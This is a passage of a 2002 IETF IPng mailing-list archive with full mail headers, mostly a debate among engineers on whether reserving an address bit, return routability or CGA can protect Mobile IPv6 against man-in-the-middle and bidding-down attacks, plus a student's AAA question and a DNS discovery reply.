(8.12.2+Sun/8.12.2/Submit) id g34IV5hC016097; Thu, 4 Apr 2002 10:31:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IV2KL016090 for ; Thu, 4 Apr 2002 10:31:02 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA07038 for ; Thu, 4 Apr 2002 10:31:03 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA02497 for ; Thu, 4 Apr 2002 11:31:02 -0700 (MST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Thu, 04 Apr 2002 10:31:01 -0800 From: "Tony Hain" To: "Jari Arkko" , "Brian E Carpenter" Cc: "Pekka Nikander" , "Hesham Soliman \(ERA\)" , , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for somethingelse Date: Thu, 4 Apr 2002 10:31:01 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <3CAC1C4C.47B26D05@lmf.ericsson.se> Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jari Arkko wrote: > ... > The difference is that when we speak about routing-related > attacks, a modification of a header can be done by MitMs, > but if the MitMs change the addresses, the whole attack > is changed. For instance, if the intent of the attack was > to install a BCE at www.cnn.com for my laptop's traffic to > be directed somewhere else, changing the address results in > the BCE entry being installed for someone else. I.e., an > attacker can't redirect my traffic anywhere. Similarly, > if stationary nodes have the 'don't accept RR' bit on then > they will not be vulnerable to any MIPv6 based attacks. > Given the absurdity of this claim you clearly don't understand the power of MitM. There is nothing that directs traffic 'somewhere else', because the bit being flipped will be routed to the same wire as the original address. Since the MitM is capable of flipping the bit off in the src, it can bid down the association, then on the return traffic it can flip the bit back on in the dst. If the CN really cares about verifying an address (which it should for any BU), it has a mechanism in the CGA to check. A bit didn't help make that easier. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:36:51 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IaoKL016288; Thu, 4 Apr 2002 10:36:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Iao58016287; Thu, 4 Apr 2002 10:36:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IakKL016274 for ; Thu, 4 Apr 2002 10:36:46 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA02986 for ; Thu, 4 Apr 2002 10:36:47 -0800 (PST) Received: from ws177.nomadiclab.com (teldanex.hiit.fi [212.68.5.99]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA11565 for ; Thu, 4 Apr 2002 11:36:46 -0700 (MST) Received: from nomadiclab.com (cube.local.nikander.com [192.168.0.33]) by ws177.nomadiclab.com (Postfix) with ESMTP id 96AD68 for ; Thu, 4 Apr 2002 21:38:32 +0300 (EEST) Message-ID: <3CAC9D61.90902@nomadiclab.com> Date: Thu, 04 Apr 2002 21:37:21 +0300 From: Pekka Nikander User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.9+) Gecko/20020402 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for something else References: <4DA6EA82906FD511BE2F00508BCF053802C6ABC8@Esealnt861.al.sw.ericsson.se> <3CAB0F1F.CE9DB679@hursley.ibm.com> <4.3.2.7.2.20020403112809.0254d948@mailhost.iprg.nokia.com> <3CABF714.4010400@nomadiclab.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Folks, I am getting tired in trying to argue for splitting the IPv6 address space into two subsets, and for perhaps reserving "a bit" in the IID, for the purpose of providing footing for work on security MIPv6 and ND, and perhaps also securing other signalling functions. To me, the problems with end-host mobility and end-host multihoming are just two faces of a more generic problem, the end-point naming problem. In that arena I am very much in favour of Noel Chiappa's thinking. I think that we need a new end-point name space, and we even have a decent candidate for that: HIP. From that point of view, Mobile IPv6 and CGA are just stepping stones towards the direction that I personally believe that we will head sooner or later anyway. I think that CGA and ABK are great ideas that could make the current architecture quite a bit more secure before doing the big transition into separate end-point name space. What comes to ND, securing ND is a hard matter as long as the hosts do not have cryptographic end-point identities. Once they do, the problem is *much* simpler to solve. CGA and ABK seem to help in this area quite much by providing a means to still use addresses as primary end-point identifiers, and to convert the addresses into public keys. If we take the other approach of using public keys as primary end-point identifiers, we do not any more have that problem. Or at least the problem is different. Thus, with these observations and expressions of my personal beliefs, I hereby withdraw back to my humble researcher chamber, and don't bother your standardization work with too radical issues. Yours sincerely, --Pekka Nikander A poor researcher exhausted in the mill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:37:40 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IbdKL016315; Thu, 4 Apr 2002 10:37:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34IbdIJ016314; Thu, 4 Apr 2002 10:37:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IbZKL016307 for ; Thu, 4 Apr 2002 10:37:35 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA03283 for ; Thu, 4 Apr 2002 10:37:37 -0800 (PST) Received: from tndh.net (evrtwa1-ar8-4-60-069-145.evrtwa1.vz.dsl.gtei.net [4.60.69.145]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA06004 for ; Thu, 4 Apr 2002 11:37:36 -0700 (MST) Received: from eagleswings (127.0.0.1) by tndh.net (127.0.0.1) with [XMail 1.3 (Win32/Ix86) ESMTP Server] id for from ; Thu, 04 Apr 2002 10:37:34 -0800 From: "Tony Hain" To: , "Brian E Carpenter" Cc: "Pekka Nikander" , "Hesham Soliman \(ERA\)" , "Jari Arkko" , , "Erik Nordmark" Subject: RE: Using "a bit" as a protection against bidding down / for somethingelse Date: Thu, 4 Apr 2002 10:37:34 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <3CAC20D3.82C53628@sun.com> Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk gabriel montenegro wrote: > .. > If we unleash RR on the world, very likely victims of route > optimization attacks > are poor unsuspecting stationary nodes that may very well > have no interest ( or knowledge) > whatsoever on mobility. > Then they deserve it since every node is required to implement support for CN, so they really should be aware of mobility. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 10:38:57 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IcuKL016356; Thu, 4 Apr 2002 10:38:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34Icu2x016355; Thu, 4 Apr 2002 10:38:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34IcsKL016345 for ; Thu, 4 Apr 2002 10:38:55 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id g34Ibhpw000728 for ; Thu, 4 Apr 2002 10:37:43 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id g34IbhR9000727 for ipng@sunroof.eng.sun.com; Thu, 4 Apr 2002 10:37:43 -0800 (PST) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34GuiKL015116 for ; Thu, 4 Apr 2002 08:56:44 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA23586 for ; Thu, 4 Apr 2002 08:56:46 -0800 (PST) Received: from ls212.hinet.hr (ls212.hinet.hr [195.29.150.91]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA25082 for ; Thu, 4 Apr 2002 09:56:45 -0700 (MST) Received: from ls401.hinet.hr (ls401.hinet.hr [195.29.150.2]) by ls212.hinet.hr (0.0.0/8.11.6) with ESMTP id g34Guip26651 for ; Thu, 4 Apr 2002 18:56:44 +0200 Received: from damirstaticni (ad12-m55.net.hinet.hr [195.29.140.55]) by ls401.hinet.hr (8.11.6/8.11.3) with SMTP id g34GuhN00667 for ; Thu, 4 Apr 2002 18:56:43 +0200 Message-ID: <002e01c1dbf9$ce6d6520$378c1dc3@damirstaticni> From: =?iso-8859-2?Q?Damir_Bilajbegovi=E6?= To: Subject: Authentication, Authorization and Accounting (aaa) Date: Thu, 4 Apr 2002 18:57:28 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_002B_01C1DC0A.91578420" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_002B_01C1DC0A.91578420 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable =20 For my university I must implement Authentication, Authorization and = Accounting for Mobile IPv6. What is the simplest way to do it and what = documents I must read. In advance thanks. Damir Bilajbegovi=E6 ------=_NextPart_000_002B_01C1DC0A.91578420 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
 
For my university = I must=20 implement Authentication, Authorization and Accounting for Mobile = IPv6.=20 What is the simplest way to do it and what documents I must = read.
In advance=20 thanks.
          =          =20 Damir Bilajbegovi=E6
------=_NextPart_000_002B_01C1DC0A.91578420-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 11:09:10 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34J9AKL016818; Thu, 4 Apr 2002 11:09:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34J9Atp016817; Thu, 4 Apr 2002 11:09:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34J96KL016810 for ; Thu, 4 Apr 2002 11:09:07 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA11877 for ; Thu, 4 Apr 2002 11:09:08 -0800 (PST) Received: from p2.piuha.net (p2.piuha.net [131.160.192.2]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA28254 for ; Thu, 4 Apr 2002 11:09:07 -0800 (PST) Received: from kolumbus.fi (p4.piuha.net [131.160.192.4]) by p2.piuha.net (Postfix) with ESMTP id 534066A907; Thu, 4 Apr 2002 22:09:01 +0300 (EEST) Message-ID: <3CAC9722.9020007@kolumbus.fi> Date: Thu, 04 Apr 2002 21:10:42 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014 X-Accept-Language: en-us MIME-Version: 1.0 To: Keith Moore Cc: Pekka Nikander , "Hesham Soliman (ERA)" , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else References: <200204041817.g34IH7Z20105@astro.cs.utk.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith Moore wrote: > in that case, I think the solution is the null set. because none of: > > - the fact that traffic from a client appears to come from an address > - the fact that the client appears to respond to traffic sent to > an address > - the fact that a client claims to be authorized to make assertions > about an address > > are suitable as verification that a client is authorized to make > assertions about that address. such authorizations are *inherently* > made by third parties - i.e. network administrators who are responsible > for assigning addresses for use by clients. the *only* way to verify > client assertions about address bindings is to verify that the client > has been given the authority I think I disagree about the third party part. First, it turns out that return routability _is_ strong enough to correspond roughly to the (current) security of the IPv6 Internet. This would imply that that traffic coming from an address and apparently responding to an address _can_ be used to make decisions about whether a binding can be accepted or not. Similarly, CGA is somewhat stronger than this and interestingly the nodes give an authority to themselves, in a manner that others can verify this. (Subject to bidding down attacks of course if we don't know what scheme to follow.) Read more from http://www.piuha.net/~jarkko/publications/mipv6/Residual_Threats.txt Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 11:19:14 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34JJEKL016937; Thu, 4 Apr 2002 11:19:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34JJEls016936; Thu, 4 Apr 2002 11:19:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34JJAKL016929 for ; Thu, 4 Apr 2002 11:19:11 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA24712 for ; Thu, 4 Apr 2002 11:19:12 -0800 (PST) Received: from p2.piuha.net (p2.piuha.net [131.160.192.2]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA27033 for ; Thu, 4 Apr 2002 12:19:11 -0700 (MST) Received: from kolumbus.fi (p4.piuha.net [131.160.192.4]) by p2.piuha.net (Postfix) with ESMTP id 2746A6A907; Thu, 4 Apr 2002 22:19:05 +0300 (EEST) Message-ID: <3CAC997E.50006@kolumbus.fi> Date: Thu, 04 Apr 2002 21:20:46 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014 X-Accept-Language: en-us MIME-Version: 1.0 To: Tony Hain Cc: gab@Sun.COM, Brian E Carpenter , Pekka Nikander , "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com, Erik Nordmark Subject: Re: Using "a bit" as a protection against bidding down / for somethingelse References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Tony Hain wrote: >R on the world, very likely victims of route >>optimization attacks >>are poor unsuspecting stationary nodes that may very well >>have no interest ( or knowledge) >>whatsoever on mobility. >> >> > Then they deserve it since every node is required to implement support > for CN, so they really should be aware of mobility. Yeah. They implement CN functionality and serve mobile nodes, but they are not required to have MN functionality and are likely unaware that they could be "moved" by attackers. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 11:40:32 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34JeWKL017141; Thu, 4 Apr 2002 11:40:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34JeWte017140; Thu, 4 Apr 2002 11:40:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34JeSKL017133 for ; Thu, 4 Apr 2002 11:40:28 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA20388 for ; Thu, 4 Apr 2002 11:40:30 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA01001 for ; Thu, 4 Apr 2002 12:40:29 -0700 (MST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g34JeKZ20905; Thu, 4 Apr 2002 14:40:21 -0500 (EST) Message-Id: <200204041940.g34JeKZ20905@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Jari Arkko cc: Keith Moore , Pekka Nikander , "Hesham Soliman (ERA)" , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else In-reply-to: (Your message of "Thu, 04 Apr 2002 21:10:42 +0300.") <3CAC9722.9020007@kolumbus.fi> Date: Thu, 04 Apr 2002 14:40:20 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > First, it turns out that return routability _is_ strong enough to > correspond roughly to the (current) security of the IPv6 Internet. I don't doubt that. But then why are we worrying about MitM attacks in one case and not in the other? Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 12:09:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34K9dKL017719; Thu, 4 Apr 2002 12:09:39 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34K9dGT017718; Thu, 4 Apr 2002 12:09:39 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34K9aKL017711 for ; Thu, 4 Apr 2002 12:09:36 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA03826 for ; Thu, 4 Apr 2002 12:09:38 -0800 (PST) Received: from p2.piuha.net (p2.piuha.net [131.160.192.2]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA18785 for ; Thu, 4 Apr 2002 13:09:37 -0700 (MST) Received: from kolumbus.fi (p4.piuha.net [131.160.192.4]) by p2.piuha.net (Postfix) with ESMTP id BA3496A907; Thu, 4 Apr 2002 23:09:36 +0300 (EEST) Message-ID: <3CACA556.9030007@kolumbus.fi> Date: Thu, 04 Apr 2002 22:11:18 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014 X-Accept-Language: en-us MIME-Version: 1.0 To: Keith Moore Cc: Pekka Nikander , "Hesham Soliman (ERA)" , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else References: <200204041940.g34JeKZ20905@astro.cs.utk.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Keith Moore wrote: >>First, it turns out that return routability _is_ strong enough to >>correspond roughly to the (current) security of the IPv6 Internet. > > I don't doubt that. But then why are we worrying about MitM attacks > in one case and not in the other? Are you asking why we worry about MitM for RR but not for the stronger cases? Well, one answer is that there is a difference in the security level of RR and CGA, as an example. But the main worry is that if we happen to succeed in improving the overall security of IPv6 in the future, RR might became the weakest link. The link that I gave you make a security analysis as a "diff" to the current situation, and if the current situation changes... Anyway, this volume of e-mails on this thread is tiring at least myself and perhaps we should just end this discussion for now as we don't appear to be on a path to consensus. It's probably best to get the mentioned draft out, and deal with all the points that have been raised, and then get back to the issue. Jari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 12:14:04 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34KE4KL017736; Thu, 4 Apr 2002 12:14:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g34KE4Rv017735; Thu, 4 Apr 2002 12:14:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g34KE0KL017728 for ; Thu, 4 Apr 2002 12:14:00 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA27891 for ; Thu, 4 Apr 2002 12:14:02 -0800 (PST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA03063 for ; Thu, 4 Apr 2002 13:14:02 -0700 (MST) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g34KDmZ21290; Thu, 4 Apr 2002 15:13:48 -0500 (EST) Message-Id: <200204042013.g34KDmZ21290@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Jari Arkko cc: Keith Moore , Pekka Nikander , "Hesham Soliman (ERA)" , Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: Using "a bit" as a protection against bidding down / for some thing else In-reply-to: (Your message of "Thu, 04 Apr 2002 22:11:18 +0300.") <3CACA556.9030007@kolumbus.fi> Date: Thu, 04 Apr 2002 15:13:48 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > >>First, it turns out that return routability _is_ strong enough to > >>correspond roughly to the (current) security of the IPv6 Internet. > > > > I don't doubt that. But then why are we worrying about MitM attacks > > in one case and not in the other? > > Are you asking why we worry about MitM for RR but not for the stronger > cases? no, I'm saying that if all we're trying to do with MIPv6 is equal the current security of the IPv6 internet, why do we care about MitM? Because the current IPv6 internet is clearly vulnerable to connection hijacking, impersonation, etc. via MitM. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 18:26:00 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g352Q0KL019711; Thu, 4 Apr 2002 18:26:00 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g352PxO1019710; Thu, 4 Apr 2002 18:25:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g352PuKL019703 for ; Thu, 4 Apr 2002 18:25:56 -0800 (PST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA02982 for ; Thu, 4 Apr 2002 18:25:58 -0800 (PST) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA03401 for ; Thu, 4 Apr 2002 18:25:57 -0800 (PST) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id D79BA4B22; Fri, 5 Apr 2002 11:25:54 +0900 (JST) To: Ralph Droms Cc: ipng@sunroof.eng.sun.com In-reply-to: rdroms's message of Thu, 04 Apr 2002 10:45:40 EST. <4.3.2.7.2.20020404104307.00b6fa30@funnel.cisco.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Stateless DNS discovery draft From: itojun@iijlab.net Date: Fri, 05 Apr 2002 11:25:54 +0900 Message-ID: <2012.1017973554@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >I think the third scenario is likely to be problematic. > >My understanding is that your third scenario would >require that the customers' networks all be part of >the same site as the ISP network - at least as far in >as a DNS server somewhere. I imagine some ISPs >might want to draw a site boundary somewhere >between the ISP edge and the CPE; either in the >CPE or in the ISP edge device or by declaring the >CPE-PE link to be not in either site... if CPE can become dual-sited (participate into ISP's site and customer's site) it can relay DNS query requests/responses between clients in customer's site to DNS server in the ISP. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 4 18:40:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g352eHKL019742; Thu, 4 Apr 2002 18:40:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g352eGTo019741; Thu, 4 Apr 2002 18:40:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM 